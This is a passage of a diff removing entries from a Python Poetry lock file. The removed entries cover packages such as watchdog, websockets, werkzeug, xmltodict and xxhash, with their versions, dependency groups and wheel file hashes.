false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "watchdog-6.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1cdb490583ebd691c012b3d6dae011000fe42edb7a82ece80965b42abd61f26"}, - {file = "watchdog-6.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:bc64ab3bdb6a04d69d4023b29422170b74681784ffb9463ed4870cf2f3e66112"}, - {file = "watchdog-6.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c897ac1b55c5a1461e16dae288d22bb2e412ba9807df8397a635d88f671d36c3"}, - {file = "watchdog-6.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6eb11feb5a0d452ee41f824e271ca311a09e250441c262ca2fd7ebcf2461a06c"}, - {file = "watchdog-6.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ef810fbf7b781a5a593894e4f439773830bdecb885e6880d957d5b9382a960d2"}, - {file = "watchdog-6.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:afd0fe1b2270917c5e23c2a65ce50c2a4abb63daafb0d419fde368e272a76b7c"}, - {file = "watchdog-6.0.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:bdd4e6f14b8b18c334febb9c4425a878a2ac20efd1e0b231978e7b150f92a948"}, - {file = "watchdog-6.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c7c15dda13c4eb00d6fb6fc508b3c0ed88b9d5d374056b239c4ad1611125c860"}, - {file = "watchdog-6.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6f10cb2d5902447c7d0da897e2c6768bca89174d0c6e1e30abec5421af97a5b0"}, - {file = "watchdog-6.0.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:490ab2ef84f11129844c23fb14ecf30ef3d8a6abafd3754a6f75ca1e6654136c"}, - {file = "watchdog-6.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:76aae96b00ae814b181bb25b1b98076d5fc84e8a53cd8885a318b42b6d3a5134"}, - {file = "watchdog-6.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a175f755fc2279e0b7312c0035d52e27211a5bc39719dd529625b1930917345b"}, - {file = "watchdog-6.0.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:e6f0e77c9417e7cd62af82529b10563db3423625c5fce018430b249bf977f9e8"}, - {file = "watchdog-6.0.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:90c8e78f3b94014f7aaae121e6b909674df5b46ec24d6bebc45c44c56729af2a"}, - {file = "watchdog-6.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e7631a77ffb1f7d2eefa4445ebbee491c720a5661ddf6df3498ebecae5ed375c"}, - {file = "watchdog-6.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c7ac31a19f4545dd92fc25d200694098f42c9a8e391bc00bdd362c5736dbf881"}, - {file = "watchdog-6.0.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:9513f27a1a582d9808cf21a07dae516f0fab1cf2d7683a742c498b93eedabb11"}, - {file = "watchdog-6.0.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7a0e56874cfbc4b9b05c60c8a1926fedf56324bb08cfbc188969777940aef3aa"}, - {file = "watchdog-6.0.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:e6439e374fc012255b4ec786ae3c4bc838cd7309a540e5fe0952d03687d8804e"}, - {file = "watchdog-6.0.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:7607498efa04a3542ae3e05e64da8202e58159aa1fa4acddf7678d34a35d4f13"}, - {file = "watchdog-6.0.0-py3-none-manylinux2014_armv7l.whl", hash = "sha256:9041567ee8953024c83343288ccc458fd0a2d811d6a0fd68c4c22609e3490379"}, - {file = "watchdog-6.0.0-py3-none-manylinux2014_i686.whl", hash = "sha256:82dc3e3143c7e38ec49d61af98d6558288c415eac98486a5c581726e0737c00e"}, - {file = "watchdog-6.0.0-py3-none-manylinux2014_ppc64.whl", hash = "sha256:212ac9b8bf1161dc91bd09c048048a95ca3a4c4f5e5d4a7d1b1a7d5752a7f96f"}, - {file = "watchdog-6.0.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:e3df4cbb9a450c6d49318f6d14f4bbc80d763fa587ba46ec86f99f9e6876bb26"}, - {file = "watchdog-6.0.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:2cce7cfc2008eb51feb6aab51251fd79b85d9894e98ba847408f662b3395ca3c"}, - {file = "watchdog-6.0.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:20ffe5b202af80ab4266dcd3e91aae72bf2da48c0d33bdb15c66658e685e94e2"}, - {file = "watchdog-6.0.0-py3-none-win32.whl", hash = "sha256:07df1fdd701c5d4c8e55ef6cf55b8f0120fe1aef7ef39a1c6fc6bc2e606d517a"}, - {file = "watchdog-6.0.0-py3-none-win_amd64.whl", hash = "sha256:cbafb470cf848d93b5d013e2ecb245d4aa1c8fd0504e863ccefa32445359d680"}, - {file = "watchdog-6.0.0-py3-none-win_ia64.whl", hash = "sha256:a1914259fa9e1454315171103c6a30961236f508b9b623eae470268bbcc6a22f"}, - {file = "watchdog-6.0.0.tar.gz", hash = "sha256:9ddf7c82fda3ae8e24decda1338ede66e1c99883db93711d8fb941eaa2d8c282"}, -] - -[package.extras] -watchmedo = ["PyYAML (>=3.10)"] - -[[package]] -name = "websockets" -version = "15.0.1" -description = "An implementation of the WebSocket Protocol (RFC 6455 & 7692)" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "websockets-15.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d63efaa0cd96cf0c5fe4d581521d9fa87744540d4bc999ae6e08595a1014b45b"}, - {file = "websockets-15.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ac60e3b188ec7574cb761b08d50fcedf9d77f1530352db4eef1707fe9dee7205"}, - {file = "websockets-15.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5756779642579d902eed757b21b0164cd6fe338506a8083eb58af5c372e39d9a"}, - {file = "websockets-15.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fdfe3e2a29e4db3659dbd5bbf04560cea53dd9610273917799f1cde46aa725e"}, - {file = "websockets-15.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4c2529b320eb9e35af0fa3016c187dffb84a3ecc572bcee7c3ce302bfeba52bf"}, - {file = "websockets-15.0.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac1e5c9054fe23226fb11e05a6e630837f074174c4c2f0fe442996112a6de4fb"}, - {file = "websockets-15.0.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5df592cd503496351d6dc14f7cdad49f268d8e618f80dce0cd5a36b93c3fc08d"}, - {file = "websockets-15.0.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:0a34631031a8f05657e8e90903e656959234f3a04552259458aac0b0f9ae6fd9"}, - {file = "websockets-15.0.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3d00075aa65772e7ce9e990cab3ff1de702aa09be3940d1dc88d5abf1ab8a09c"}, - {file = "websockets-15.0.1-cp310-cp310-win32.whl", hash = "sha256:1234d4ef35db82f5446dca8e35a7da7964d02c127b095e172e54397fb6a6c256"}, - {file = "websockets-15.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:39c1fec2c11dc8d89bba6b2bf1556af381611a173ac2b511cf7231622058af41"}, - {file = "websockets-15.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:823c248b690b2fd9303ba00c4f66cd5e2d8c3ba4aa968b2779be9532a4dad431"}, - {file = "websockets-15.0.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678999709e68425ae2593acf2e3ebcbcf2e69885a5ee78f9eb80e6e371f1bf57"}, - {file = "websockets-15.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d50fd1ee42388dcfb2b3676132c78116490976f1300da28eb629272d5d93e905"}, - {file = "websockets-15.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d99e5546bf73dbad5bf3547174cd6cb8ba7273062a23808ffea025ecb1cf8562"}, - {file = "websockets-15.0.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:66dd88c918e3287efc22409d426c8f729688d89a0c587c88971a0faa2c2f3792"}, - {file = "websockets-15.0.1-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8dd8327c795b3e3f219760fa603dcae1dcc148172290a8ab15158cf85a953413"}, - {file = "websockets-15.0.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8fdc51055e6ff4adeb88d58a11042ec9a5eae317a0a53d12c062c8a8865909e8"}, - {file = "websockets-15.0.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:693f0192126df6c2327cce3baa7c06f2a117575e32ab2308f7f8216c29d9e2e3"}, - {file = "websockets-15.0.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:54479983bd5fb469c38f2f5c7e3a24f9a4e70594cd68cd1fa6b9340dadaff7cf"}, - {file = "websockets-15.0.1-cp311-cp311-win32.whl", hash = "sha256:16b6c1b3e57799b9d38427dda63edcbe4926352c47cf88588c0be4ace18dac85"}, - {file = "websockets-15.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:27ccee0071a0e75d22cb35849b1db43f2ecd3e161041ac1ee9d2352ddf72f065"}, - {file = "websockets-15.0.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:3e90baa811a5d73f3ca0bcbf32064d663ed81318ab225ee4f427ad4e26e5aff3"}, - {file = "websockets-15.0.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:592f1a9fe869c778694f0aa806ba0374e97648ab57936f092fd9d87f8bc03665"}, - {file = "websockets-15.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0701bc3cfcb9164d04a14b149fd74be7347a530ad3bbf15ab2c678a2cd3dd9a2"}, - {file = "websockets-15.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e8b56bdcdb4505c8078cb6c7157d9811a85790f2f2b3632c7d1462ab5783d215"}, - {file = "websockets-15.0.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0af68c55afbd5f07986df82831c7bff04846928ea8d1fd7f30052638788bc9b5"}, - {file = "websockets-15.0.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64dee438fed052b52e4f98f76c5790513235efaa1ef7f3f2192c392cd7c91b65"}, - {file = "websockets-15.0.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d5f6b181bb38171a8ad1d6aa58a67a6aa9d4b38d0f8c5f496b9e42561dfc62fe"}, - {file = "websockets-15.0.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:5d54b09eba2bada6011aea5375542a157637b91029687eb4fdb2dab11059c1b4"}, - {file = "websockets-15.0.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3be571a8b5afed347da347bfcf27ba12b069d9d7f42cb8c7028b5e98bbb12597"}, - {file = "websockets-15.0.1-cp312-cp312-win32.whl", hash = "sha256:c338ffa0520bdb12fbc527265235639fb76e7bc7faafbb93f6ba80d9c06578a9"}, - {file = "websockets-15.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:fcd5cf9e305d7b8338754470cf69cf81f420459dbae8a3b40cee57417f4614a7"}, - {file = "websockets-15.0.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ee443ef070bb3b6ed74514f5efaa37a252af57c90eb33b956d35c8e9c10a1931"}, - {file = "websockets-15.0.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5a939de6b7b4e18ca683218320fc67ea886038265fd1ed30173f5ce3f8e85675"}, - {file = "websockets-15.0.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:746ee8dba912cd6fc889a8147168991d50ed70447bf18bcda7039f7d2e3d9151"}, - {file = "websockets-15.0.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:595b6c3969023ecf9041b2936ac3827e4623bfa3ccf007575f04c5a6aa318c22"}, - {file = "websockets-15.0.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3c714d2fc58b5ca3e285461a4cc0c9a66bd0e24c5da9911e30158286c9b5be7f"}, - {file = "websockets-15.0.1-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f3c1e2ab208db911594ae5b4f79addeb3501604a165019dd221c0bdcabe4db8"}, - {file = "websockets-15.0.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:229cf1d3ca6c1804400b0a9790dc66528e08a6a1feec0d5040e8b9eb14422375"}, - {file = "websockets-15.0.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:756c56e867a90fb00177d530dca4b097dd753cde348448a1012ed6c5131f8b7d"}, - {file = "websockets-15.0.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:558d023b3df0bffe50a04e710bc87742de35060580a293c2a984299ed83bc4e4"}, - {file = "websockets-15.0.1-cp313-cp313-win32.whl", hash = "sha256:ba9e56e8ceeeedb2e080147ba85ffcd5cd0711b89576b83784d8605a7df455fa"}, - {file = "websockets-15.0.1-cp313-cp313-win_amd64.whl", hash = "sha256:e09473f095a819042ecb2ab9465aee615bd9c2028e4ef7d933600a8401c79561"}, - {file = "websockets-15.0.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:5f4c04ead5aed67c8a1a20491d54cdfba5884507a48dd798ecaf13c74c4489f5"}, - {file = "websockets-15.0.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:abdc0c6c8c648b4805c5eacd131910d2a7f6455dfd3becab248ef108e89ab16a"}, - {file = "websockets-15.0.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a625e06551975f4b7ea7102bc43895b90742746797e2e14b70ed61c43a90f09b"}, - {file = "websockets-15.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d591f8de75824cbb7acad4e05d2d710484f15f29d4a915092675ad3456f11770"}, - {file = "websockets-15.0.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:47819cea040f31d670cc8d324bb6435c6f133b8c7a19ec3d61634e62f8d8f9eb"}, - {file = "websockets-15.0.1-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac017dd64572e5c3bd01939121e4d16cf30e5d7e110a119399cf3133b63ad054"}, - {file = "websockets-15.0.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:4a9fac8e469d04ce6c25bb2610dc535235bd4aa14996b4e6dbebf5e007eba5ee"}, - {file = "websockets-15.0.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:363c6f671b761efcb30608d24925a382497c12c506b51661883c3e22337265ed"}, - {file = "websockets-15.0.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:2034693ad3097d5355bfdacfffcbd3ef5694f9718ab7f29c29689a9eae841880"}, - {file = "websockets-15.0.1-cp39-cp39-win32.whl", hash = "sha256:3b1ac0d3e594bf121308112697cf4b32be538fb1444468fb0a6ae4feebc83411"}, - {file = "websockets-15.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:b7643a03db5c95c799b89b31c036d5f27eeb4d259c798e878d6937d71832b1e4"}, - {file = "websockets-15.0.1-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0c9e74d766f2818bb95f84c25be4dea09841ac0f734d1966f415e4edfc4ef1c3"}, - {file = "websockets-15.0.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:1009ee0c7739c08a0cd59de430d6de452a55e42d6b522de7aa15e6f67db0b8e1"}, - {file = "websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76d1f20b1c7a2fa82367e04982e708723ba0e7b8d43aa643d3dcd404d74f1475"}, - {file = "websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f29d80eb9a9263b8d109135351caf568cc3f80b9928bccde535c235de55c22d9"}, - {file = "websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b359ed09954d7c18bbc1680f380c7301f92c60bf924171629c5db97febb12f04"}, - {file = "websockets-15.0.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:cad21560da69f4ce7658ca2cb83138fb4cf695a2ba3e475e0559e05991aa8122"}, - {file = "websockets-15.0.1-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7f493881579c90fc262d9cdbaa05a6b54b3811c2f300766748db79f098db9940"}, - {file = "websockets-15.0.1-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:47b099e1f4fbc95b701b6e85768e1fcdaf1630f3cbe4765fa216596f12310e2e"}, - {file = "websockets-15.0.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67f2b6de947f8c757db2db9c71527933ad0019737ec374a8a6be9a956786aaf9"}, - {file = "websockets-15.0.1-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d08eb4c2b7d6c41da6ca0600c077e93f5adcfd979cd777d747e9ee624556da4b"}, - {file = "websockets-15.0.1-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4b826973a4a2ae47ba357e4e82fa44a463b8f168e1ca775ac64521442b19e87f"}, - {file = "websockets-15.0.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:21c1fa28a6a7e3cbdc171c694398b6df4744613ce9b36b1a498e816787e28123"}, - {file = "websockets-15.0.1-py3-none-any.whl", hash = "sha256:f7a866fbc1e97b5c617ee4116daaa09b722101d4a3c170c787450ba409f9736f"}, - {file = "websockets-15.0.1.tar.gz", hash = "sha256:82544de02076bafba038ce055ee6412d68da13ab47f0c60cab827346de828dee"}, -] - -[[package]] -name = "werkzeug" -version = "3.1.8" -description = "The comprehensive WSGI web application library." -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "werkzeug-3.1.8-py3-none-any.whl", hash = "sha256:63a77fb8892bf28ebc3178683445222aa500e48ebad5ec77b0ad80f8726b1f50"}, - {file = "werkzeug-3.1.8.tar.gz", hash = "sha256:9bad61a4268dac112f1c5cd4630a56ede601b6ed420300677a869083d70a4c44"}, -] - -[package.dependencies] -markupsafe = ">=2.1.1" - -[package.extras] -watchdog = ["watchdog (>=2.3)"] - -[[package]] -name = "wordninja" -version = "2.0.0" -description = "Probabilistically split concatenated words using NLP based on English Wikipedia uni-gram frequencies." -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "wordninja-2.0.0.tar.gz", hash = "sha256:1a1cc7ec146ad19d6f71941ee82aef3d31221700f0d8bf844136cf8df79d281a"}, -] - -[[package]] -name = "xmltodict" -version = "0.14.2" -description = "Makes working with XML feel like you are working with JSON" -optional = false -python-versions = ">=3.6" -groups = ["main"] -files = [ - {file = "xmltodict-0.14.2-py2.py3-none-any.whl", hash = "sha256:20cc7d723ed729276e808f26fb6b3599f786cbc37e06c65e192ba77c40f20aac"}, - {file = "xmltodict-0.14.2.tar.gz", hash = "sha256:201e7c28bb210e374999d1dde6382923ab0ed1a8a5faeece48ab525b7810a553"}, -] - -[[package]] -name = "xmltojson" -version = "2.0.3" -description = "A Python module and cli tool to quickly convert xml text or files into json" -optional = false -python-versions = "<4.0,>=3.7" -groups = ["main"] -files = [ - {file = "xmltojson-2.0.3-py3-none-any.whl", hash = "sha256:1b68519bd14fbf3e28baa630b8c9116b5d3aa8976648f277a78ae3448498889a"}, - {file = "xmltojson-2.0.3.tar.gz", hash = "sha256:68a0022272adf70b8f2639186172c808e9502cd03c0b851a65e0760561c7801d"}, -] - -[package.dependencies] -xmltodict = "0.14.2" - -[[package]] -name = "xxhash" -version = "3.6.0" -description = "Python binding for xxHash" -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "xxhash-3.6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:87ff03d7e35c61435976554477a7f4cd1704c3596a89a8300d5ce7fc83874a71"}, - {file = "xxhash-3.6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f572dfd3d0e2eb1a57511831cf6341242f5a9f8298a45862d085f5b93394a27d"}, - {file = "xxhash-3.6.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:89952ea539566b9fed2bbd94e589672794b4286f342254fad28b149f9615fef8"}, - {file = "xxhash-3.6.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:48e6f2ffb07a50b52465a1032c3cf1f4a5683f944acaca8a134a2f23674c2058"}, - {file = "xxhash-3.6.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b5b848ad6c16d308c3ac7ad4ba6bede80ed5df2ba8ed382f8932df63158dd4b2"}, - {file = "xxhash-3.6.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a034590a727b44dd8ac5914236a7b8504144447a9682586c3327e935f33ec8cc"}, - {file = "xxhash-3.6.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8a8f1972e75ebdd161d7896743122834fe87378160c20e97f8b09166213bf8cc"}, - {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:ee34327b187f002a596d7b167ebc59a1b729e963ce645964bbc050d2f1b73d07"}, - {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:339f518c3c7a850dd033ab416ea25a692759dc7478a71131fe8869010d2b75e4"}, - {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:bf48889c9630542d4709192578aebbd836177c9f7a4a2778a7d6340107c65f06"}, - {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:5576b002a56207f640636056b4160a378fe36a58db73ae5c27a7ec8db35f71d4"}, - {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:af1f3278bd02814d6dedc5dec397993b549d6f16c19379721e5a1d31e132c49b"}, - {file = "xxhash-3.6.0-cp310-cp310-win32.whl", hash = "sha256:aed058764db109dc9052720da65fafe84873b05eb8b07e5e653597951af57c3b"}, - {file = "xxhash-3.6.0-cp310-cp310-win_amd64.whl", hash = "sha256:e82da5670f2d0d98950317f82a0e4a0197150ff19a6df2ba40399c2a3b9ae5fb"}, - {file = "xxhash-3.6.0-cp310-cp310-win_arm64.whl", hash = "sha256:4a082ffff8c6ac07707fb6b671caf7c6e020c75226c561830b73d862060f281d"}, - {file = "xxhash-3.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b47bbd8cf2d72797f3c2772eaaac0ded3d3af26481a26d7d7d41dc2d3c46b04a"}, - {file = "xxhash-3.6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2b6821e94346f96db75abaa6e255706fb06ebd530899ed76d32cd99f20dc52fa"}, - {file = "xxhash-3.6.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d0a9751f71a1a65ce3584e9cae4467651c7e70c9d31017fa57574583a4540248"}, - {file = "xxhash-3.6.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8b29ee68625ab37b04c0b40c3fafdf24d2f75ccd778333cfb698f65f6c463f62"}, - {file = "xxhash-3.6.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6812c25fe0d6c36a46ccb002f40f27ac903bf18af9f6dd8f9669cb4d176ab18f"}, - {file = "xxhash-3.6.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4ccbff013972390b51a18ef1255ef5ac125c92dc9143b2d1909f59abc765540e"}, - {file = "xxhash-3.6.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:297b7fbf86c82c550e12e8fb71968b3f033d27b874276ba3624ea868c11165a8"}, - {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:dea26ae1eb293db089798d3973a5fc928a18fdd97cc8801226fae705b02b14b0"}, - {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:7a0b169aafb98f4284f73635a8e93f0735f9cbde17bd5ec332480484241aaa77"}, - {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:08d45aef063a4531b785cd72de4887766d01dc8f362a515693df349fdb825e0c"}, - {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:929142361a48ee07f09121fe9e96a84950e8d4df3bb298ca5d88061969f34d7b"}, - {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:51312c768403d8540487dbbfb557454cfc55589bbde6424456951f7fcd4facb3"}, - {file = "xxhash-3.6.0-cp311-cp311-win32.whl", hash = "sha256:d1927a69feddc24c987b337ce81ac15c4720955b667fe9b588e02254b80446fd"}, - {file = "xxhash-3.6.0-cp311-cp311-win_amd64.whl", hash = "sha256:26734cdc2d4ffe449b41d186bbeac416f704a482ed835d375a5c0cb02bc63fef"}, - {file = "xxhash-3.6.0-cp311-cp311-win_arm64.whl", hash = "sha256:d72f67ef8bf36e05f5b6c65e8524f265bd61071471cd4cf1d36743ebeeeb06b7"}, - {file = "xxhash-3.6.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:01362c4331775398e7bb34e3ab403bc9ee9f7c497bc7dee6272114055277dd3c"}, - {file = "xxhash-3.6.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b7b2df81a23f8cb99656378e72501b2cb41b1827c0f5a86f87d6b06b69f9f204"}, - {file = "xxhash-3.6.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:dc94790144e66b14f67b10ac8ed75b39ca47536bf8800eb7c24b50271ea0c490"}, - {file = "xxhash-3.6.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:93f107c673bccf0d592cdba077dedaf52fe7f42dcd7676eba1f6d6f0c3efffd2"}, - {file = "xxhash-3.6.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2aa5ee3444c25b69813663c9f8067dcfaa2e126dc55e8dddf40f4d1c25d7effa"}, - {file = "xxhash-3.6.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f7f99123f0e1194fa59cc69ad46dbae2e07becec5df50a0509a808f90a0f03f0"}, - {file = "xxhash-3.6.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:49e03e6fe2cac4a1bc64952dd250cf0dbc5ef4ebb7b8d96bce82e2de163c82a2"}, - {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:bd17fede52a17a4f9a7bc4472a5867cb0b160deeb431795c0e4abe158bc784e9"}, - {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:6fb5f5476bef678f69db04f2bd1efbed3030d2aba305b0fc1773645f187d6a4e"}, - {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:843b52f6d88071f87eba1631b684fcb4b2068cd2180a0224122fe4ef011a9374"}, - {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:7d14a6cfaf03b1b6f5f9790f76880601ccc7896aff7ab9cd8978a939c1eb7e0d"}, - {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:418daf3db71e1413cfe211c2f9a528456936645c17f46b5204705581a45390ae"}, - {file = "xxhash-3.6.0-cp312-cp312-win32.whl", hash 